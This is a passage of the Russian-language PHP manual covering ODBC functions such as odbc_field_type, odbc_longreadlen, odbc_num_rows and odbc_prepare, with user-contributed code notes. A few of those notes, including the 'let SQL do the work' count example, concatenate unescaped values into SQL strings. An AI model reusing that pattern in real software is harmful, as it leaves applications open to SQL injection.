  $css_th = ' class=\"$class\"';
  $css_td = ' class=\"$class\"';
 }

# Create field names for table header row
$i = 0;
$fCount = odbc_num_fields($result);
echo "<table$css_table><tr>";
  while ($i < $fCount)
  {
    $i++;
    $fName = odbc_field_name($result, $i);
    echo "<th>$fName</th>";
  }
echo "</tr>";

# Create table data rows for query result
$i = 0;
$fCount = odbc_num_fields($result);
while (odbc_fetch_row($result))
{
echo "<tr>";
  while ($i < $fCount)
  {
    $i++;
    $fName = odbc_field_name($result, $i);
    $job[$fName] = odbc_result($result, $i);
    echo "<td>$job[$fName]</td>";
  }
echo "</tr>";
$i = 0;
}
echo "</table>";
}
curt at digmo dot com 31-Jul-2001 06:58
I turned Jason's code into a function to roughly mimic the mysql_fetch_array function. I'm not a programmer and I've been messing with PHP less than a week, so I imagine there's a more efficient method that what I've come up with.

function odbc_fetch_array($rownum, $res)
{

$i = 0;
$fCount = odbc_num_fields($res);
odbc_fetch_row($res, $rownum);
    while ($i < $fCount)
        {
    $i++;
    $fName = odbc_field_name($res, $i);
    $myrow[$fName] = odbc_result($res, $i);
          }
$i=0;
return $myrow;
}
10-Mar-2001 04:11
Wow, I finally have something to contribute.
If you, like me, have been seeking a way to name and fill your variables with the appropriate names an values, rather than naming every variable and using odbc_result($result, 1), odbc_result($result, 2), etc...Then this little loop is for you!  It would probably be nice to use as function, but I'm sure you can do that on your own, eh?

<?php
$query = "SELECT * FROM TableName";
$result = odbc_exec($conn, $query) or die('Select failed!');
$i = 0;
$fCount = odbc_num_fields($result);

while (odbc_fetch_row($result)) {
    while ($i < $fCount) {
        $i++;
        $fName = odbc_field_name($result, $i);
        $job[$fName] = odbc_result($result, $i);
    }
    $i=0;
}
?>

This should be pretty simple code to follow, you can address your variables at any time later using the column names from your table.  For now I am addressing them with their real values and using this simply to avoid having to type out all the variable names in the top of my code.  Have fun.

Jason/ArtHacker.com


Возвращает номер столбца

  • « odbc_field_name
  • odbc_field_precision »
  • PHP Manual
  • Функции ODBC
  • Возвращает номер столбца

odbc_field_num

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_field_num — Возвращает номер столбца

Описание

odbc_field_num(resource $statement, string $field): int|false

Получает номер слота столбца, который соответствует названному полю в заданном идентификаторе результата.

Список параметров

statement

Идентификатор результата.

field

Имя поля.

Возвращаемые значения

Возвращает номер поля в виде целого числа или false в случае возникновения ошибки. Нумерация полей начинается с 1.

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним odbc_field_len

  • « odbc_field_num
  • odbc_field_scale »
  • PHP Manual
  • Функции ODBC
  • Псевдоним odbc_field_len

odbc_field_precision

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_field_precision — Псевдоним odbc_field_len()

Описание

Функция является псевдонимом: odbc_field_len().

Смотрите также

  • odbc_field_scale() - Возвращает масштаб поля для получения масштаба числа с плавающей точкой

User Contributed Notes

There are no user contributed notes for this page.


Возвращает масштаб поля

  • « odbc_field_precision
  • odbc_field_type »
  • PHP Manual
  • Функции ODBC
  • Возвращает масштаб поля

odbc_field_scale

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_field_scale — Возвращает масштаб поля

Описание

odbc_field_scale(resource $statement, int $field): int|false

Возвращает масштаб поля, на которое ссылается число в заданном идентификаторе результата.

Список параметров

statement

Идентификатор результата.

field

Номер поля. Нумерация полей начинается с 1.

Возвращаемые значения

Возвращает масштаб поля в виде целого числа или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает тип данных поля

  • « odbc_field_scale
  • odbc_foreignkeys »
  • PHP Manual
  • Функции ODBC
  • Возвращает тип данных поля

odbc_field_type

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_field_type — Возвращает тип данных поля

Описание

odbc_field_type(resource $statement, int $field): string|false

Получает SQL-тип поля, на которое ссылается число в заданном идентификаторе результата.

Список параметров

statement

Идентификатор результата.

field

Номер поля. Нумерация полей начинается с 1.

Возвращаемые значения

Возвращает тип поля в виде строки или false в случае возникновения ошибки.

User Contributed Notes

ted at convey dot de 15-Sep-2015 11:05
odbc_field_type seems to return the data type of the database backend, not the data types from ODBC documentation.

Example: With my Oracle backend I get data types like "CLOB" and "VARCHAR2" while ODBC only knows SQL_LONGVARCHAR for long character data...
jschwartz at the-infoshop dot com 04-Aug-2009 01:40
Quick note: as noted below, MS Access type AutoNumber comes across as type COUNTER. What I didn't see mentioned is that PHP interprets type COUNTER as a string, not an integer.

More annoying than anything else, in my particular case; but I'd guess it could bite somebody, somewhere.
jorge dot emailNOSPAM at gmail dot com 17-Jan-2007 04:21
Here is the complete list!

Access 2003 as the following teturntypes:

COUNTER  -  Autoincrement
VARCHAR  -  Text
LONGCHAR  -  Memo
INTEGER  -  Number
DATETIME  -  Date/Time
CURRENCY  -  Currency
BIT  -  TRUE/FALSE
LONGBINARY  -  OLE-Object
LONGCHAR  -  Hyperlink
DOUBLE - Double Number
BYTE - Byte Number
not[at]wgpower[dot]net 19-May-2006 05:02
Some fields can be of the following type too : REAL
jazper at lycos dot de 10-Jul-2002 03:30
Returntypes on Access2000
COUNTER  -  Autoincrement
VARCHAR  -  Text
LONGCHAR  -  Memo
INTEGER  -  Number
DATETIME  -  Date/Time
CURRENCY  -  Currency
BIT  -  TRUE/FALSE
LONGBINARY  -  OLE-Object
LONGCHAR  -  Hyperlink

cheers, j.a.z.


Возвращает список внешних ключей

  • « odbc_field_type
  • odbc_free_result »
  • PHP Manual
  • Функции ODBC
  • Возвращает список внешних ключей

odbc_foreignkeys

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_foreignkeys — Возвращает список внешних ключей

Описание

odbc_foreignkeys(
resource $odbc,
?string $pk_catalog,
string $pk_schema,
string $pk_table,
string $fk_catalog,
string $fk_schema,
string $fk_table
): resource|false

Возвращает список внешних ключей в указанной таблице или список внешних ключей в других таблицах, которые ссылаются на первичный ключ в указанной таблице.

Список параметров

odbc

Идентификатор соединения ODBC, за подробностями обращайтесь к odbc_connect().

fk_catalog

Каталог ('квалификатор' на языке ODBC 2) таблицы с первичным ключом.

pk_schema

Схема ('владелец' на языке ODBC 2) таблицы с первичным ключом.

pk_table

Таблица с первичным ключом.

pk_catalog

Каталог ('квалификатор' на языке ODBC 2) таблицы c внешним ключом.

fk_schema

Схема ('владелец' на языке ODBC 2) таблицы с внешним ключом.

fk_table

Таблица с внешним ключом.

Возвращаемые значения

Возвращает идентификатор результата ODBC или false в случае возникновения ошибки.

В результирующем наборе имеются следующие столбцы:

  • PKTABLE_CAT
  • PKTABLE_SCHEM
  • PKTABLE_NAME
  • PKCOLUMN_NAME
  • FKTABLE_CAT
  • FKTABLE_SCHEM
  • FKTABLE_NAME
  • FKCOLUMN_NAME
  • KEY_SEQ
  • UPDATE_RULE
  • DELETE_RULE
  • FK_NAME
  • PK_NAME
  • DEFERRABILITY
Драйверы могут сообщать дополнительные столбцы.

Если запрашиваются внешние ключи, связанные с первичным ключом, результирующий набор упорядочивается по FKTABLE_CAT, FKTABLE_SCHEM, FKTABLE_NAME и KEY_SEQ. Если запрашиваются первичные ключи, связанные с внешним ключом, результирующий набор упорядочивается по PKTABLE_CAT, PKTABLE_SCHEM, PKTABLE_NAME и KEY_SEQ.

Если pk_table содержит имя таблицы, odbc_foreignkeys() возвращает результирующий набор, содержащий первичный ключ указанной таблицы и все внешние ключи, которые ссылаются на него.

Если fk_table содержит имя таблицы, odbc_foreignkeys() возвращает результирующий набор, содержащий все внешние ключи в указанной таблице и первичные ключи (в других таблицах), на которые они ссылаются.

Если и pk_table и fk_table содержат имена таблиц, odbc_foreignkeys() возвращает внешние ключи в таблице, указанной в fk_table, которые ссылаются на первичный ключ таблицы, указанной в pk_table. Ключ должен быть один, не более.

Смотрите также

  • odbc_tables() - Получает список имён таблиц, хранящихся в определённом источнике данных
  • odbc_primarykeys() - Получает первичные ключи таблицы

User Contributed Notes

There are no user contributed notes for this page.


Освобождает ресурсы, связанные с результатом

  • « odbc_foreignkeys
  • odbc_gettypeinfo »
  • PHP Manual
  • Функции ODBC
  • Освобождает ресурсы, связанные с результатом

odbc_free_result

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_free_result — Освобождает ресурсы, связанные с результатом

Описание

odbc_free_result(resource $statement): bool

Освобождает ресурсы, связанные с результатом.

odbc_free_result() нужно вызывать только в том случае, если во время работы вашего скрипта используется слишком много памяти. Вся память, хранящая результат, будет автоматически освобождена после завершения скрипта.

Список параметров

statement

Идентификатор результата.

Возвращаемые значения

Всегда возвращает true.

Примечания

Замечание:

Если автоматическая фиксация отключена (см. odbc_autocommit()), и odbc_free_result() вызывается перед фиксацией, все ожидающие транзакции откатываются.

User Contributed Notes

sergio.deleon at techoblige 28-Mar-2018 10:18
MDBTools driver needs you to properly free up a result_id before reusing a variable.
An odbc_fetch_array() over a overwritten variable with a new result will crash the script with a Segmentation fault if the previous resource wasn't free'd up.

PHP 5.6


Возвращает информацию о типах данных, поддерживаемых источником данных

  • « odbc_free_result
  • odbc_longreadlen »
  • PHP Manual
  • Функции ODBC
  • Возвращает информацию о типах данных, поддерживаемых источником данных

odbc_gettypeinfo

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_gettypeinfo — Возвращает информацию о типах данных, поддерживаемых источником данных

Описание

odbc_gettypeinfo(resource $odbc, int $data_type = 0): resource|false

Возвращает информацию о типах данных, поддерживаемых источником данных.

Список параметров

odbc

Идентификатор соединения ODBC, за подробностями обращайтесь к odbc_connect().

data_type

Тип данных, который можно использовать для ограничения информации до одного типа данных.

Возвращаемые значения

Возвращает идентификатор результата ODBC или false в случае возникновения ошибки.

В результирующем наборе имеются следующие столбцы:

  • TYPE_NAME
  • DATA_TYPE
  • PRECISION
  • LITERAL_PREFIX
  • LITERAL_SUFFIX
  • CREATE_PARAMS
  • NULLABLE
  • CASE_SENSITIVE
  • SEARCHABLE
  • UNSIGNED_ATTRIBUTE
  • MONEY
  • AUTO_INCREMENT
  • LOCAL_TYPE_NAME
  • MINIMUM_SCALE
  • MAXIMUM_SCALE

Набор результатов упорядочен по DATA_TYPE и TYPE_NAME.

User Contributed Notes

andrea dot galli at acotel dot com 29-Apr-2003 09:45
Example: display all data types

<?php

     $Link_ID = odbc_connect("DSN", "user", "pass");
     $result = odbc_gettypeinfo($Link_ID);

     odbc_result_all($result);

?>


Обрабатывает столбцы LONG

  • « odbc_gettypeinfo
  • odbc_next_result »
  • PHP Manual
  • Функции ODBC
  • Обрабатывает столбцы LONG

odbc_longreadlen

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_longreadlen — Обрабатывает столбцы LONG

Описание

odbc_longreadlen(resource $statement, int $length): bool

Управляет обработкой столбцов LONG, LONGVARCHAR и LONGVARBINARY. Длина по умолчанию может быть установлена с помощью директивы php.ini uodbc.defaultlrl.

Список параметров

statement

Идентификатор результата.

length

Количество байтов, возвращаемых PHP, контролируется длиной параметра. Если установлено значение 0, данные столбца LONG передаются клиенту (т.е. печатаются) при получении с помощью odbc_result().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примечания

Замечание:

На обработку столбцов LONGVARBINARY также влияет odbc_binmode().

User Contributed Notes

Eion Robb 17-Feb-2016 10:26
It's not mentioned in the notes here, but odbc_longreadlen($result, 0); only affects the output from odbc_result().  Setting the read length to 0 (or less than zero) will just output a blank string in the odbc_fetch_object(), odbc_fetch_array() and odbc_result_all() functions
egil at wp dot pl 22-Jul-2009 02:06
I've tried to use a suggestion in the first comment but that didn't actually worked as I would expect... I wanted to get all data no matter how big it is, but strange things happened and I finally found this solution (works fine at least for MS SQL 2000 for at least few MB of binary data):

<?php
// connection
$link = odbc_connect($odbc_source_name, $user, $pass);

// query (note - one row in this example)
$sql = 'SELECT image_data_column FROM some_table WHERE record_id=1';

// run
$result = odbc_exec ($link, $sql)
if (!$result)
{
    trigger_error ('[sql] exec: '.$sql, E_USER_ERROR);
}

// fetch settings
odbc_binmode ($result, ODBC_BINMODE_PASSTHRU);
odbc_longreadlen ($result, 0);

// get contents
ob_start(); // you would probably need to move this inside if you expect more rows
while (odbc_fetch_row($result))
{
    odbc_result($result, 1); // this actually echos all of the contents of the image_data_column
}
odbc_free_result($result);
$contents = ob_get_clean();
?>
php dot net dot notes at webqs dot com 06-Aug-2005 06:12
Hi

If you are experiencing troubles with truncated and/or strangely encoded data when using PHP with MS SQL via ODBC try setting odbc.defaultlrl ( in php.ini or via ini_set() ) to a largish number, say 65536, as stated in the other notes here.
The trick is to know how long your data is going to be, so you may want to provide some overhead. Unfortunately you have to know how long your piece of string is before you cut it.

Doing this will allow your app to read up to this amount in one go. I'm sure there is a reason for this behaviour but I hadn't experienced anything like it in 5 years of MySQL and Postgres development.

If you still experience problems AND are using unicode data in the long column of your table, make sure it is set to type "ntext", if it is "text". MSDN has some info on data types for Unicode data.
This caused about 3 days of headaches for me, "binary" data crashing browsers and cyclical result sets (i.e repeating data after odbc.defaultlrl bytes).

This fix was only found by poking things with sticks.

HTH
jdcard at inreach dot com 08-Dec-2004 09:37
I was reading from a MEMO field (long varchar) in MSAccess, but the data was consistently truncated at 255 characters. I tried all the combinations of odbc_longreadlen() and odbc_binmode()  (and odbc.defaultlrl) that I could think of but none of them resolved the problem.

The only fix that worked was to modify my query from "SELECT Field1, Field2 FROM TableName" to "SELECT * FROM TableName".

I suspect that you could cast the field to force the appropriate data type, but when it finally worked after three days of struggle I didn't even try.
25-Sep-2002 05:00
An alternative is to adjust your php.ini file and set:
odbc.defaultlrl=65536
Or something else sufficiently large.
lrl = long read length
jasendorf at lcounty dot com 13-Dec-2000 04:26
I had a heck of a time figuring out what to do with this function.  Here's a little piece of code from Jason Lee which I found that might help someone else...

$cur = odbc_exec($cnx, $query);
if(!$cur) {
/* error handler */
}

odbc_binmode($cur, ODBC_BINMODE_PASSTHRU);
odbc_longreadlen($cur, 16384); /* Allow 16kb thru */

while(odbc_fetch_row($cur)) {
$bigger_than_4096_var = odbc_result($cur, 1);
/* etc... */

Hope this helps someone, John


Проверяет, доступно ли несколько результатов

  • « odbc_longreadlen
  • odbc_num_fields »
  • PHP Manual
  • Функции ODBC
  • Проверяет, доступно ли несколько результатов

odbc_next_result

(PHP 4 >= 4.0.5, PHP 5, PHP 7, PHP 8)

odbc_next_result — Проверяет, доступно ли несколько результатов

Описание

odbc_next_result(resource $statement): bool

Проверяет, доступны ли другие результирующие наборы, а также разрешает доступ к следующему результирующему набору с помощью odbc_fetch_array(), odbc_fetch_row(), odbc_result() и т.д.

Список параметров

statement

Идентификатор результата.

Возвращаемые значения

Возвращает true если доступны другие результирующие наборы, false в противном случае.

Примеры

Пример #1 Пример использования odbc_next_result()

<?php
$r_Connection = odbc_connect($dsn, $username, $password);

$s_SQL = <<<END_SQL
SELECT 'A'
SELECT 'B'
SELECT 'C'
END_SQL;

$r_Results = odbc_exec($r_Connection, $s_SQL);

$a_Row1 = odbc_fetch_array($r_Results);
$a_Row2 = odbc_fetch_array($r_Results);
echo "Вывод первого результирующего набора ";
var_dump($a_Row1, $a_Row2);

echo "Получение второго результирующего набора ";
var_dump(odbc_next_result($r_Results));

$a_Row1 = odbc_fetch_array($r_Results);
$a_Row2 = odbc_fetch_array($r_Results);
echo "Вывод второго результирующего набора ";
var_dump($a_Row1, $a_Row2);

echo "Получение третьего результирующего набора ";
var_dump(odbc_next_result($r_Results));

$a_Row1 = odbc_fetch_array($r_Results);
$a_Row2 = odbc_fetch_array($r_Results);
echo "Вывод третьего результирующего набора ";
var_dump($a_Row1, $a_Row2);

echo "Попытка получения четвёртого результирующего набора ";
var_dump(odbc_next_result($r_Results));
?>

Результат выполнения данного примера:

Вывод первого результирующего набора array(1) {
  ["A"]=>
  string(1) "A"
}
bool(false)
Получение второго результирующего набора bool(true)
Вывод второго результирующего набора array(1) {
  ["B"]=>
  string(1) "B"
}
bool(false)
Получение третьего результирующего набора bool(true)
Вывод третьего результирующего набора array(1) {
  ["C"]=>
  string(1) "C"
}
bool(false)
Попытка получения четвёртого результирующего набора bool(false)

User Contributed Notes

carlosgoce AT gmail DOT com 30-Apr-2013 04:27
Using dbase always returns false or -1. It won't work. Just like odbc_num_rows.
mypsuedoemail at yahoo dot com 28-May-2006 05:06
This function works exactly like its equivalent Microsoft SQL Server function: mssql_next_result(). The information above is rather vague and a bit misleading, so refer to the mssql version of this function for details on to use it properly.

P.S. It works with stored procedures.


Возвращает количество столбцов в результате

  • « odbc_next_result
  • odbc_num_rows »
  • PHP Manual
  • Функции ODBC
  • Возвращает количество столбцов в результате

odbc_num_fields

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_num_fields — Возвращает количество столбцов в результате

Описание

odbc_num_fields(resource $statement): int

Возвращает количество полей (столбцов) в результате ODBC.

Список параметров

statement

Идентификатор результата, возвращаемый odbc_exec().

Возвращаемые значения

Возвращает количество полей или -1 в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает количество строк в результате

  • « odbc_num_fields
  • odbc_pconnect »
  • PHP Manual
  • Функции ODBC
  • Возвращает количество строк в результате

odbc_num_rows

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_num_rows — Возвращает количество строк в результате

Описание

odbc_num_rows(resource $statement): int

Возвращает количество строк в результате. Для операторов INSERT, UPDATE и DELETE odbc_num_rows() возвращает количество затронутых строк. Для предложения SELECT это может быть количество доступных строк.

Список параметров

statement

Идентификатор результата, возвращаемый odbc_exec().

Возвращаемые значения

Возвращает количество строк в результате ODBC. Функция вернёт -1 в случае возникновения ошибки.

Примечания

Замечание:

Использование odbc_num_rows() для определения количества строк, доступных после выполнения SELECT, вернёт -1 для многих драйверов.

User Contributed Notes

j.c 10-Feb-2020 02:14
On my server odbc_num_rows() is returning a kind of weird 48bit integer (perhaps it's a 64bit with 16bit heading zeroes...).
I found out that i can obtain the correct value by masking the result with 0xffffffff
<?php
    // your $result=odbc_exec(...)
    $num_rows    =    odbc_num_rows($result) & 0xffffffff;

    echo "this works for me: num rows=$num_rows\n";
?>
tom dot underwood5 at gmail dot com 15-Jan-2019 01:56
sometimes if you are for example using a stored procedure rather than an actual SELECT/INSERT/UPDATE, the odbc_num_rows can return unrealiable numbers (I was getting 3 or 0 for everything). In my case I was able to determine the number of rows with the following:

// Put the data in array

      while ($data[] = odbc_fetch_array($result));

// use native php function to get its size

    $num_rows = count($data);
    echo $num_rows;

Hope this helps someone.
panchome66 at gmail dot com 09-Feb-2014 09:22
Este codigo se probo en SQL Server 2000, no se probo en otras versiones como 2005 o 2008. Aun asi no se aplica para MySQL, porque no existe la tabla "sysindexes":

$cnx = odbc_connect("dbSQLEmpresa","Admin","123");
if ($cnx)
{
    $rs = odbc_exec($cnx, "SELECT * FROM alumnos");
    $f = odbc_num_fields($rs);
    $r = odbc_num_rows($rs);
    $r = LFRJ_odbc_num_rows($cnx,"alumnos");

    echo "<table border = '1'>";
    for ($i = 1; $i <= $f; $i++)
    {
        $n = odbc_field_name($rs, $i);
        echo "<th>", $n, "</th>";
    }
    while(odbc_fetch_row($rs))
    {
        echo "<tr>";
        for ($i = 1; $i <= $f; $i++)
        {
            $d = odbc_result($rs, $i);
            echo "<td>", $d, "</td>";
        }
        echo "</tr>";
    }
    echo "<tr><td colspan = '" . $f . "'>Campos(" . $f . ") Registros(" . $r . ")</td></tr>";
    echo "</table>";
}
odbc_close($cnx);

function LFRJ_odbc_num_rows($cnx,$Tabla)
{
    $rs = odbc_exec($cnx, "SELECT rows FROM sysindexes WHERE id = OBJECT_ID('" . $Tabla . "') AND indid < 2;");
    return odbc_result($rs, 1);
}
johnnyboyct-AT-yahoo.com 19-Jun-2013 05:35
function best_odbc_num_rows($r1)  {
    ob_start(); // block printing table with results
    (int)$number=odbc_result_all($r1);
    ob_clean(); // block printing table with results
    return $number;
}

Above is the best way to count if you are not using something like IBM Netezza and ODBC and not doing more than 100000ish records, otherwise even this method will run out of memory.

IBM Netezza and ODBC will give you counts matching the prefetch setting in the odbc.ini file :( the default is 256 so watch out because it is accurate until that number.
Gerd Christian Kunze 23-Jan-2013 12:34
odbc_num_rows does return -1 when it shouldn't.

i used this code:

<?php
if( odbc_num_rows( $Result ) ) {
   while( false !== ( $Row = @odbc_fetch_array( $Result ) ) ) {
     // do something with $Row
   }
}
else {
   return false;
}
?>

and it didn't work... obviously

but this while loop will skip an empty result set anyway, so i use this:

<?php
while( false !== ( $Row = @odbc_fetch_array( $Result ) ) ) {
  // do something with $Row
}
if( ! odbc_num_rows( $Result ) ) {
   return false;
}
?>

because after processing the $Result with fetch, odbc_num_rows reports the correct count (false|0..n) ... magic :-)
pjavilla at gmail dot com 01-Oct-2012 04:07
When accessing a DB2 database with PHP via the ODBC functions, beware of statements which include references to IBM's LONGDESCRIPTION table (for example, if you were - like myself - digging through IBM's Maximo product). Reading from that table usually requires error suppression, because although it works ODBC will spit out a warning message onscreen.

When you make it part of another query however, ODBC_NUM_ROWS will always return -1. The solution is to keep any queries to LONGDESCRIPTION in a separate standalone query by itself.

However, if you run the query though a previewer like Toad for DB2, using LONGDESCRIPTION in a larger query is fine and does show the results. It's just that you have to break the query up and segregate the query to LONGDESCRIPTION on its own if you are writing ODBC queries for PHP.

Just a quick note for anyone else who found ODBC_NUM_RESULTS normally reliable otherwise but inexplicably always returning -1 under certain circumstances.
walt at brookhouse dot co dot uk 09-Jul-2010 02:45
The easy way to count the rows in an odbc resultset where the driver returns -1 is to let SQL do the work:

<?php

    $conn = odbc_connect("dsn", "", "");
    $rs = odbc_exec($conn, "SELECT Count(*) AS counter FROM tablename WHERE fieldname='" . $value . "'");
    $arr = odbc_fetch_array($rs);
    echo $arr['counter'];

?>
chew_baka at hotmail dot com 18-May-2010 02:44
None of these examples were working for me, so I came up with the following silly procedure that gives me the number of rows.  This example is crude, but you should get the idea.

<?php
$cxn = odbc_connect("ODBC_DSN_NAME", "", "");
$sql = "SELECT * FROM some_table'";
$res = odbc_exec($cxn, $sql);
$items = 0;
 while ($row = odbc_fetch_array($res))
   {
       $items++;
   }
  odbc_free_result($res);
  echo "<br>total No. of rows: $items";
?>
jeff at script-xs dot com 02-Jan-2009 11:34
After minutes of frustration, I realized why odbc_num_rows was not returning the number of affected rows on a prepared update query.  I'm using ODBC to connect to Microsot SQL Server 2005.

My corrected code:

<?php
$query = odbc_prepare($conn, 'UPDATE table SET cat = ? WHERE id = 1');
$result = odbc_execute($query, $category);
$affected = odbc_num_rows($query);
?>

This code works.  I was frustrated that odbc_num_rows($result) didn't work as I expected, but instead required me to pass the original prepared query to this function.
sirio3mil at gmail dot com 17-Jun-2008 09:46
The diference between functions used here are consierable, for example for one table with 36 columns and 806 rows the time to execute two of those functions are this:

function using odbc odbc_result_all take 2,6 seconds
function using odbc_fetch_row take 0,8 seconds
areznik at survdata dot com 30-Nov-2007 10:04
I could have been noted before in this thread but I couldnt find it on my first search.

This function (odbc_num_rows) returns -1 when ODBCing to MS SQL and making it hard to get the number of rows in the returned recordset.

Two workarounds:
   1. When you just need to verify that any rows returned from your query you can use select count(*) as cnt from table and then just get $row['cnt']
   2. When you need to actually loop through the records this function returns number of rows in the recordset if and only if you include ORDER BY clause in your query statement.

That sounds a bit annoying but thats the work around when dealing with MS SQL odbc driver I guess.

It would be beneficial if someone explained how the Order By clause makes the difference.
Nathaniel at comtel dot com dot au 30-Oct-2007 08:57
My development computer is running XP sql2005 while the production copy sits on a server 2003R2 sql2000 computer.

In the course of trying to get this function to work (switching from mssql to odbc) I have discovered that the ODBC driver versions are different between the two OS and that while the newer version (release date 17/2/07) that is able to be installed on 2003 handles this function fine, the older version doesn't.

Microsoft sites suggest that Vista might also handle it (ie have the newer driver). It also says that there are no plans to release the newer driver in a installable package.

http://support.microsoft.com/kb/892854

Will hopefully test with the sql2005 on server 2003R2 in the near future to confirm it is the driver helping here.
pmo@raadvst-consetatDOTbe 16-Oct-2007 02:46
voland's function is simply great.
However, i would recommend the use of ob_end_clean(), to shut down completely the output buffer (can cause weird behaviour).
nielsvandenberge at hotm dot dot dot dot dot com 11-Sep-2007 05:06
I just tried to use the function best_odbc_num_rows($result) from voland at digitalshop dot ru, but it's not working quite well. After executing the function odbc_result_all(); the resultset has to be resetted again.
Resetting it with

odbc_fetch_row($result, 0);

is not working for me.

I think the internal number-value of the odbc_result_all()-function is not resetted, but that's just a guess.

when I execute the function 3 times with a resultset of 17 rows the values: 17, 34 and 51 are returned.

His previous function useful_odbc_num_rows($result) works better (for me).
voland at digitalshop dot ru 26-Mar-2007 07:50
Today we find a BEST way to count number of rows with ODBC!

function best_odbc_num_rows($r1)  {

ob_start(); // block printing table with results

(int)$number=odbc_result_all($r1);

ob_clean(); // block printing table with results

return $number;

}
voland at digitalshop dot ru 05-Mar-2007 05:56
After a hour for a searching a good alter function of odbc_num_rows... i try to write it by mysels:

function useful_odbc_num_rows($result){

   $num_rows=0;

   while($temp = odbc_fetch_into($result, &$counter))

   {
       $num_rows++;
   }

@odbc_fetch_row($result, 0);   // reset cursor

   return $num_rows;
}
dm at personalcomputingsolutions dot co dot uk 07-Feb-2007 01:41
function db_get_row($cur, $rownum){
if (odbc_fetch_into($cur, $row, $rownum)){
        return ($row);
    }else{
        return (FALSE);
}

$i=1;
if (db_get_row($cur,1)){
while ($record=db_get_row($cur,$i++)){
do stuff
}else{
tell the user there are no results
}


Открывает постоянное соединение с базой данных

  • « odbc_num_rows
  • odbc_prepare »
  • PHP Manual
  • Функции ODBC
  • Открывает постоянное соединение с базой данных

odbc_pconnect

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_pconnect — Открывает постоянное соединение с базой данных

Описание

odbc_pconnect(
string $dsn,
string $user,
string $password,
int $cursor_option = SQL_CUR_USE_DRIVER
): resource|false

Открывает постоянное соединение с базой данных.

Функция очень похожа на odbc_connect(), за исключением того, что соединение на самом деле не закрывается после завершения работы скрипта. Последующие запросы на соединение с той же комбинацией dsn, user и password (с помощью odbc_connect() и odbc_pconnect()) могут повторно использовать постоянное соединение.

Список параметров

Для более подробной информации стоит обратиться к описанию odbc_connect().

Возвращаемые значения

Возвращает соединение ODBC или false в случае возникновения ошибки.

Примечания

Замечание: Постоянные соединения не действуют, если PHP используется как CGI.

Смотрите также

  • odbc_connect() - Соединяет с источником данных
  • Постоянные соединения с базами данных

User Contributed Notes

alberici at to dot infn dot it 15-Jul-2002 04:42
I saw that closing an ODBC persistent connection opened with odbc_pconnect() with odbc_close() doesnt work. Someone here have proposed using odbc_close_all() but wouldnt that close all persistent connections (also others ones !!!) ? What about catching a persistent handle with odbc_connect() and then closing the connection with odbc_close() ? If there are no available handles (for some reason the last pconn has been closed) this approach opens and close a normal single-script connection. Waiting comments...
j_schrab at execpc dot com 16-Jan-2001 09:41
Ok, learning time.  As I was told by the PHP-DevTeam...

Multiple connections are supported, but when you try to connect with exactly the same parameters, an existing
connection will be reused, leading to the behaviour you see.

You can simply omit the calls to odbc_close() since
connections get closed on script termination anyway or better:
Consider making your connection id a global variable or pass
it to your functions.
wls at wwco dot com 11-Aug-2000 07:44
I found that using  odbc_close($odbchandle)  on a connection opened by odbc_pconnect() causes a warning "not a valid ODBC-Link resource".  So you can't just change odbc_connect() to odbc_pconnect() and expect things to work without warning messages.  However, you can use odbc_close_all() and not get a warning.
etsai at email dot com 28-Jun-2000 09:10
The following constants are defined for cursortype:
 - SQL_CUR_USE_IF_NEEDED
 - SQL_CUR_USE_ODBC
 - SQL_CUR_USE_DRIVER
 - SQL_CUR_DEFAULT

With some ODBC drivers, executing a complex stored procedure may fail with an error similar to: "Cannot open a cursor on a stored procedure that has anything other than a single select statement in it". Using SQL_CUR_USE_ODBC may avoid that error. Also, some drivers don't support the optional row_number parameter in odbc_fetch_row(). SQL_CUR_USE_ODBC might help in that case, too.


Подготавливает запрос к выполнению

  • « odbc_pconnect
  • odbc_primarykeys »
  • PHP Manual
  • Функции ODBC
  • Подготавливает запрос к выполнению

odbc_prepare

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_prepare — Подготавливает запрос к выполнению

Описание

odbc_prepare(resource $odbc, string $query): resource|false

Подготавливает запрос к выполнению. Идентификатор результата может быть использован позже для выполнения запроса с помощью odbc_execute().

Некоторые базы данных (например, IBM DB2, MS SQL Server и Oracle) поддерживают хранимые процедуры, которые принимают параметры типа IN, INOUT и OUT, как определено в спецификации ODBC. Однако драйвер Unified ODBC в настоящее время поддерживает только параметры типа IN для хранимых процедур.

Список параметров

odbc

Идентификатор соединения ODBC, за подробностями обращайтесь к odbc_connect().

query

Подготавливаемый запрос в виде строки.

Возвращаемые значения

Возвращает идентификатор результата ODBC, если SQL-команда была успешно подготовлена. В случае возникновения ошибки возвращает false.

Примеры

Пример #1 Пример использования odbc_execute() и odbc_prepare()

В данном коде значение $success будет равно true, только если все три параметра myproc являются параметрами IN:

<?php
$a = 1;
$b = 2;
$c = 3;
$stmt = odbc_prepare($conn, 'CALL myproc(?,?,?)');
$success = odbc_execute($stmt, array($a, $b, $c));
?>

Если нужно вызвать хранимую процедуру с использованием параметров INOUT или OUT, рекомендуется использовать собственный модуль для вашей базы данных (например, oci8 для Oracle).

Смотрите также

  • odbc_execute() - Выполняет запрос

User Contributed Notes

lzsiga at freemail dot c3 dot hu 24-Apr-2019 08:22
The resource returned by odbc_prepare can be freed with odbc_free_result.
bslorence 07-Dec-2006 01:50
Is it just me or is the code above misleading? It makes it look like odbc_execute() returns a resource suitable, say, for passing to one of the odbc_fetch_* functions.

In fact, odbc_execute() returns a boolean, which simply indicates success (TRUE) or failure (FALSE). The variable to pass to odbc_fetch_* is the same one that you pass to odbc_execute():

<?php
$res = odbc_prepare($db_conn, $query_string);
if(!$res) die("could not prepare statement ".$query_string);

if(odbc_execute($res, $parameters)) {
